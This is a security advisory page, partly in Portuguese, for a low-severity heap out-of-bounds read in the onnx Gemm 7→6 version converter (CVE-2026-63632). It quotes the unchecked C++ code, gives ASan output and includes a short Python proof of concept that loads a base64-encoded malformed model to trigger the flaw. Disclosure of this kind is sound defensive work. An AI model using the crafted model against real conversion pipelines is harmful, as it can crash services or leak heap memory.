PT-2026-64405 · Pypi · Onnx

CVE-2026-63632

·

Publicado

2026-07-24

·

Atualizado

2026-07-24

CVSS v3.1

3.3

Baixa

VetorAV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Summary

Heap-buffer-overflow READ (16 bytes) in Gemm 7 6::adapt gemm 7 6() (onnx/version converter/adapters/gemm 7 6.h:41) when ConvertVersion() processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses B shape[1] without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.

Details

The Gemm 7→6 downgrade adapter reads input shapes without bounds checking:
cpp
// gemm 7 6.h:26-42
const auto& A shape = inputs[0]->sizes(); // May have < 2 elements
const auto& B shape = inputs[1]->sizes(); // May have < 2 elements

if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {
  MN.emplace back(B shape[0]);  // OOB if B has 0 dims
} else {
  MN.emplace back(B shape[1]);  // OOB if B has < 2 dims ← CRASH
}
The PoC has input B with shape [28] (1 dimension). B shape has 1 element. Accessing B shape[1] reads 16 bytes past the std::vector<Dimension> internal storage into adjacent heap memory.
The same unchecked pattern applies to A shape[0] and A shape[1] at lines 34 and 36.
Entry point: onnx.version converter.convert version(model, 6) — different from the InferShapes bugs reported in separate advisories. This triggers during opset downgrade (7→6).

PoC

python
import base64
import onnx
from onnx import version converter

poc b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH"

model = onnx.load from string(base64.b64decode(poc b64))

# Triggers heap-buffer-overflow in Gemm 7 6 adapter
version converter.convert version(model, 6)
186-byte PoC. ASan confirms: heap-buffer-overflow READ of size 16 at gemm 7 6.h:41, 0 bytes after 48-byte region allocated in tensorShapeProtoToDimensions at ir pb converter.cc:216.

Impact

Any application that uses onnx.version converter.convert version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.

Correção

Out of bounds Read

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-63632
GHSA-P893-RVQ9-2XF9

Produtos afetados

Onnx